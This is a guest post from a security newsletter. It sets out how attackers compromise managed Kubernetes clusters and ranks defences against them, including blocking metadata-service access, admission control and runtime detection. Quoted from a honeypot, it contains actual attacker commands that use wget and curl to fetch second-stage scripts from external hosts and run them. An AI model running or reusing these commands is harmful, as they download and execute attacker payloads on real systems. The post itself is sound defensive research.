• tl;dr sec
  • Posts
  • Keep Hackers Out of Your Kubernetes Cluster with These 5 Simple Tricks!

Keep Hackers Out of Your Kubernetes Cluster with These 5 Simple Tricks!

A threat-informed roadmap for securing Kubernetes clusters

Hey! This is a guest post from Christophe Tafani-Dereeper and Fred Baguelin, two great security researchers at Datadog. Also, if you haven’t already checked it out, I’ve been really enjoying Datadog’s Security Labs blog recently, lots of great technical content. Enjoy!

-Clint

Securing Kubernetes clusters may feel overwhelming, as it's often challenging to prioritize security investments and focus on what matters. In this post, we review real-world threats and vulnerabilities that Kubernetes clusters commonly face and propose a prioritized roadmap to securing your containerized workloads. We focus on managed Kubernetes distributions (such as Amazon EKS or Google GKE) and assume that the control plane (such as etcd and the API server) is managed and properly set up.

Note: This post is released as the companion blog post of our KubeCon Europe 2024 talk "Keep Hackers Out of Your Cluster with These 5 Simple Tricks". Before you ask, we refuse to apologize for the title.

Threat to Kubernetes clusters and containerized workloads

The first step to securing anything is to perform a threat modeling exercise to identify potential compromise points. In the context of a managed Kubernetes cluster, we typically have the following flows:

  • End user traffic—the traffic that your applications process as part of their normal functioning (e.g., HTTP traffic from a load balancer)

  • Management traffic—the traffic to the (managed) API server of your cluster

  • Container image registry traffic—when individual worker nodes pull container images, through the Kubelet

This gives us a picture that looks like the schema below:

Traffic flows in a (managed) Kubernetes cluster

Attackers usually get an initial foothold in your cluster by leveraging one of these entry points, such as:

  • Exploiting a vulnerability in a public-facing web application running in your cluster

  • Compromising an identity that has access to the (managed) API server, such as an AWS IAM user

  • Poisoning a container image that one of your workloads is using, like overwriting or backdooring it

Traffic flows and attack paths in (managed) Kubernetes clusters

After that, attackers typically:

  • Schedule a malicious workload, such as a privileged container or a container mounting the host's file system into the container

  • Escape from the container to the host. This can happen if the pod is dangerously configured (e.g., privileged or enabling sensitive paths mounts from the underlying filesystem) or if the container runtime (e.g., runC) / underlying kernel has a known vulnerability.

  • When the compromised pod has access to the Kubernetes API, steal the associated service account token and use it against the Kubernetes API, for instance to steal secrets

  • When the compromised pod has access to the cloud environment, for instance through EKS Pod Identity, steal associated cloud credentials. Even when the pod is not explicitly configured to have access to the cloud environment, worker nodes are often weakly configured and allow pods they run to retrieve their own credentials.

We can visualize these common attack paths in a different way below. Note that attackers typically "rinse and repeat"; for instance, after escaping from a container to the underlying host, an attacker would likely execute commands in other containers running on the host to steal their service account tokens and impersonate them on the Kubernetes API.

Multi-hop attack paths in a Kubernetes cluster

Real-world sightings

The previous section was mostly theoretical. But what's happening in the real world? Knowing that is essential because it will allow us to prioritize what to protect against. 

For this purpose, we analyzed data sources such as security research blogs, threat alerts, vendor reports, and research papers. We also included data from Kubernetes and Docker honeypots that we continuously run as part of our security research efforts at Datadog.

We've reproduced the below attack techniques from the Kubernetes Threat Matrix that are confirmed to have been used in the wild. While it's possible that other tactics have also been used, that's not the focus of this post.

Attacks on Kubernetes environments seen in the wild and publicly documented, mapped on the Microsoft Kubernetes Threat Matrix.

From the control plane

Techniques below have been sighted when an attacker compromises an identity with access to the control plane as an entry point (or where the control plane has no authentication enabled).

Open control plane APIs are a common target. Multiple publications confirm that attackers frequently target control plane APIs, like the Kubernetes API server or Docker API. When they allow for unauthenticated access, they are typically immediately exploited.

Attackers use cloud credentials to access managed Kubernetes clusters. ​​In several cases, an attacker who compromised cloud credentials (such as an AWS IAM User access key) was able to use it to access a managed Kubernetes cluster.

Container escape vulnerabilities in Linux and container runtimes are seldom exploited in the wild. Only CVE-2019-5736, a vulnerability in the popular OCI-compatible container runtime runc, has been reportedly abused by attackers through the Break Out the Box (BOtB) tool. A number of other vulnerabilities, such as CVE-2022-0185, have been exploited by bug bounty hunters and reported to Google as part of their KernelCTF program, which rewards researchers with up to $133,337 for critical bugs. However, we consider that this only partly verifies the "exploited in the wild" criteria, as they were reported by white hat researchers and promptly fixed.

We have also reviewed a number of popular container escape vulnerabilities in various components (container runtime, Linux kernel). While many of them have reproducible proofs-of-concept, we have not been able to find documented exploitation in the wild. Such vulnerabilities include DirtyPipe, DirtyCow, CVE-2022-0492 (vulnerability in the Linux kernel affecting cgroups), CVE-2021-30465 (an issue in the way runC processes symlinks), or CVE-2017-5123 (vulnerability in the Linux kernel's waitid syscall). Interestingly enough, the Zero Day Initiative, a program that buys zero-day vulnerabilities and encourages researchers to find new ones, has specifically shown interest in acquiring vulnerabilities related to container escapes in their 2024 Vancouver "Pwn2Own" contest announcement.

Pwn2Own Vancouver cash prices

Attackers schedule new workloads to escalate privileges and escape to the host. Once attackers gain access to the control plane API, their most common technique is to schedule a new workload, such as running a new pod or DaemonSet. To escalate privileges and escape the host, it's common to see an attacker running a privileged pod or one that mounts the host filesystem into the pod. From there, the attacker can trivially escape to the host, access data on it, and compromise any further pod that runs on it.

Attackers bring their own container images. Attackers frequently use their own container images from public repositories and typically do not reuse images that are already present in the cluster. These can be general-purpose images, such as alpine, or purpose-built images running for instance cryptominers. 

There are no public reports of poisoned container images used in supply chain attacks. Several researchers have identified malicious container images on publicly available registries. These images are likely used to infect victims once the attacker gains access to the control plane API. However,  we could not find any public evidence of poisoned base images or incidents involving an attacker backdooring the container image of a workload so it can reach a production environment. That said, as proofs-of-concept and open source tooling such as ccat exist, this is definitely a realistic attack vector for an attacker having compromised privileged credentials who wants to establish persistence. Note that some vendors use FUD and refer to malicious container images in public repositories as "supply chain attacks", without any evidence that these have actually been used in the context of such an attack.

From the data plane

Techniques below have been sighted when an attacker compromises an element of the data plane, typically a workload running in the cluster that’s exposed to the outside world.

Attackers exploit vulnerabilities in public-facing web applications. Unit42 reports that over 38 percent of incidents they responded to in 2023 started from the exploitation of an application-level vulnerability, such as a remote code execution (RCE) vulnerability. Microsoft's threat research suggests they have seen exploitation of several PHP-based applications in containerized environments, similar to Sysdig for an Apache Struts vulnerability and a Gitlab RCE. The well-known attacker group TeamTNT has also been seen exploiting WordPress vulnerabilities for initial access.

Pivoting to the cloud environment through the Instance Metadata Service (IMDS). It's often possible for containers running on a host to steal cloud credentials of underlying worker nodes and escalate their privileges in the cluster or in the cloud environment. This has been exploited by TeamTNT and related groups, as well as SCARLETEEL. For an in-depth review of cluster-to-cloud pivots, see “Bringing Together Cloud Services and Managed K8s Environments” (KubeCon EU 2023) and Attacking and securing cloud identities in Amazon EKS.

Payloads used to compromise containers are often similar and pull a second stage. Once an attacker is able to run code in a container, they most frequently use curl or wget to retrieve a second-stage Bash script or executable and run it. The examples below are taken from one of our honeypots, but we've seen a large number of highly similar scripts. 

wget -q http://leetdbs.anondns.net/z -O /usr/sbin/z
chmod +x /usr/sbin/z
/usr/sbin/z
curl http://107.189.3.150/b2f628/cronb.sh |bash

Most "bang for your buck" security controls

Now that we have observations from the field, the question becomes: what are the easiest and most efficient mechanisms to implement that would prevent such attacks?

Get your control plane basics right. While this may seem like generic advice, it's critical that the control plane of your cluster is properly configured. Unless you have a dedicated engineering team, it's generally a good idea to use a managed Kubernetes service. Securing Kubernetes is hard enough without having to worry about securing critical low-level components such as etcd, and the control plane of most managed Kubernetes services is properly configured by default. Just make sure you don't explicitly do dangerous things such as disabling authentication to the API server—though that's typically challenging to do or even impossible, so there's not too much risk that you shoot yourself in the foot. Ideally, don't expose the API server to the Internet, especially in Google Cloud where it's relatively easy to use Identity-Aware Proxy (IaP) to access private clusters.

Kubernetes abstraction levels

Block access to the cloud metadata service from workloads. Once attackers compromise a workload, they often automatically try to hit the instance metadata service (IMDS) to steal cloud credentials. Since this is applicable to non-containerized environments as well, the attacker does not even need to know they landed in a Kubernetes environment. It's critical to ensure that pods do not have access to the instance metadata service. This slide from Christophe and Diego Comas’ KubeCon EU 2023 talk sums up what you need to do:

  • On Google Cloud GKE, turn on Workload Identity.

  • On Amazon EKS and Azure AKS, block access to the IMDS with a NetworkPolicy. On EKS, you should also enforce IMDSv2 with "response hop limit" to 1 on all worker nodes. Note that enforcing IMDSv2 alone is not sufficient. You also need to set the "response hop limit" to 1.

When your workloads access cloud resources, understand how much privilege they have. It's sometimes inevitable that cloud credentials get compromised if a pod is exploited, typically if the application running in the pod itself uses a mechanism such as EKS Pod Identity. In that case, it's important to be aware of which service has access to cloud credentials. You can use the open source Managed Kubernetes Auditing Toolkit (MKAT) to quickly visualize these relationships:

Using MKAT to visualize relationships between pods and cloud roles

Be intentional about what can run in your cluster. Should pods from public registries be allowed to run in your cluster? What about privileged pods, or pods that mount the host filesystem? The first step to answering this question and taking any potential action is to gain visibility on what is already running in your cluster. It's typically a good idea to ensure that pods only use container images from an internal vetted repository. Enforcing this ensures that you have control over images running in the cluster and would prevent an attacker from running malicious images. Similarly, limiting privileged pods and pods mounting the host filesystem can both prevent legitimate users from running workloads that are risky if compromised and prevent an attacker from taking over the cluster by scheduling "pivot pods".

This can typically be achieved through the use of an admission controller, such as Kyverno or OPA Gatekeeper. Since Kubernetes 1.25, the built-in Pod Security Admission feature also allows you to control workload admission, including using custom rules since 1.28. All of these support an audit mode that will only generate warning events, and an enforcement mode that will reject non-compliant workloads.

Sample OPA Gatekeeper rule, which blocks pods based on images not coming from the hooli.com repository. From A Tale of Securing Containerized Workloads at Scale at BSides Zurich 2022.

Onto the next level

Mechanisms above should be a solid basis for securing any cluster. When you want to go a step further, consider options below which are hardening—i.e., acting as a second or third line of defense. Don't let anyone tell you that "your application runs as root inside the container and is therefore vulnerable to container breakout", because that's just not true!

Make your workloads more resistant to common exploits. A number of web application exploits and automated payloads require writing files to disks. When a workload is stateless, consider running it in a container that sets securityContext.readOnlyRootFilesystem: true. This is often easily doable for backend applications, although they might require mounting an additional writable directory. While there are ways to bypass a read-only file system (such as writing a payload to the in-memory file system /dev/shm or to /dev/termination-log), it can be a good protection against automated exploits.

SELinux / AppArmor. More advanced OS-level mechanisms exist to block certain system calls: AppArmor, SELinux, and seccomp. While very powerful, these can be complex to deploy and impractical to scale. Projects such as inspektor-gadget and the Security Profiles Operator can help make deployments a little less painful.

Implement runtime threat detection. A number of open source projects exist to identify malicious behavior at runtime, such as unusual or suspicious commands being run inside a container. Falco (a CNCF graduated project), Tetragon, and Tracee are such examples. Cloud providers also come with paid offerings such as Amazon GuardDuty Runtime Monitoring for EKS, Microsoft Defender for Containers, and Google Cloud Security Command Center Container Threat Detection. Commercial offerings generally fall into the range of "runtime security", "cloud workload security" (CWS), "cloud workload protection platform" (CWPP), or "cloud-native application protection platform" (CNAPP). We’ve heard from GartnerTM that the next evolution might be “strategic technology for optimizing protection in real-time” (STOP).

Proactively identify multi-hop attack paths in your cluster. Using open-source tools like KubeHound, you can scan resources in your cluster to identify multi-hop attack paths an attacker could take.

Attackers think in graph

Conclusion

We advocate for “threat-informed defense”, or using threat intelligence to prioritize security investments. This is something that fits within a broader prioritization framework that suits your organization, not a uni-dimensional end state.

There is not much public threat intelligence about container attacks in the wild (yet), especially around container escapes. That’s an important visibility gap to acknowledge. It's likely that attackers are also using techniques we didn’t report on in this post.

Thank you for reading!

💡 See also: Mark Manning’s tl;dr sec guide: Risk8s Business- Risk Analysis of Kubernetes clusters, a zero-to-hero guide for assessing the security risk of your Kubernetes cluster and hardening it.

How did you like this post?

Login or Subscribe to participate in polls.

References

Research papers:

Security research blog posts:

Vulnerabilities:

Vendor reports: